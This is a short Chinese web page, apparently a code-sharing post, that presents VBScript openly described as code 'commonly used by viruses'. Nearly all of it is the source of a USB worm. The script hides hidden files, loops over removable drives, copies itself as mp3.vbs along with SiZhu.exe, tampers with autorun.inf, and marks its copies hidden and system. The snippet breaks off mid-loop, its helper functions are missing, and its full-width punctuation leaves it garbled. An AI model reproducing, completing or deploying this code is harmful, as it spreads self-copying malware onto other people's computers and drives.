一段病毒常用的VBS代码

复制代码代码如下:
On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject（"scripting.filesystemobject"）
Set wshell=CreateObject（"WScript.shell"）
Set curfolder=fso.GetFolder（"."）
curdristr=Left（WScript.ScriptFullName,3）
Set curdri=fso.GetDrive（curdristr）
reghid（） "不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder（1）&"mp3.vbs" Then "如果在system32中
For i=1 To 2 Step 0
reghid（）
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
"autorun.inf文件夹改名
If fso.FolderExists（dri.Path&"autorun.inf"） Then
fso.MoveFolder dri.Path&"autorun.inf",dri.Path&"Rubbish"
End If
"复制自身及exe文件到移动硬盘
If fso.FileExists（dri.Path&"mp3.vbs"） And fso.FileExists（dri.Path&"autorun.inf"） Then
Else
If fso.FileExists（dri.Path&"mp3.vbs"） Then
fso.DeleteFile dri.Path&"mp3.vbs",True
ElseIf fso.FileExists（dri.Path&"autorun.inf"） Then
fso.DeleteFile dri.Path&"autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"mp3.vbs",True
If fso.FileExists（".SiZhu.exe"） And Not fso.FileExists（dri.Path&"SiZhu.exe"） Then
fso.CopyFile ".SiZhu.exe",dri.Path&"SiZhu.exe",True
End If
autoinf（dri.Path）
"给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile（dri.Path&"mp3.vbs"）
wshell.run "attrib +r +a +s +h "&dri.Path&"mp3.vbs",0
Set norkon=Nothing